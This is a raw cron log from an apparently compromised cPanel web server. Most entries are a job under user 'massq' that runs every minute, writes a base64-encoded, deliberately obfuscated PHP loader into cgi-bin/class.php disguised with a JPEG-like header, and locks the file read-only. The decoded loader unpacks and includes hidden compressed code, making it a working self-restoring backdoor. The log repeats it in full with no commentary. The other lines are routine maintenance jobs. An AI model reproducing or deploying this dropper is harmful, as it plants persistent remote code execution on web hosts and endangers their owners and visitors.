Nov 11 18:58:01 server CROND[9542]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:59:01 server CROND[10435]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:00:01 server CROND[11126]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:00:01 server CROND[11127]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 19:00:01 server CROND[11128]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 19:00:01 server CROND[11129]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 19:01:01 server CROND[11990]: (root) CMD (run-parts /etc/cron.hourly)
Nov 11 19:01:01 server CROND[11991]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:01:01 server run-parts(/etc/cron.hourly)[11990]: starting 0anacron
Nov 11 19:01:01 server run-parts(/etc/cron.hourly)[12003]: finished 0anacron
Nov 11 19:02:01 server CROND[12864]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:03:01 server CROND[13736]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:04:01 server CROND[14594]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:05:01 server CROND[15095]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 19:05:01 server CROND[15094]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 19:05:01 server CROND[15098]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:05:01 server CROND[15099]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 19:06:01 server CROND[15815]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:07:01 server CROND[16126]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:08:01 server CROND[16737]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:09:01 server CROND[17672]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:09:01 server CROND[17673]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 19:10:01 server CROND[18509]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 19:10:01 server CROND[18511]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:10:01 server CROND[18512]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 19:10:01 server CROND[18510]: (root) CMD (/usr/lib64/sa/sa1 1 1)
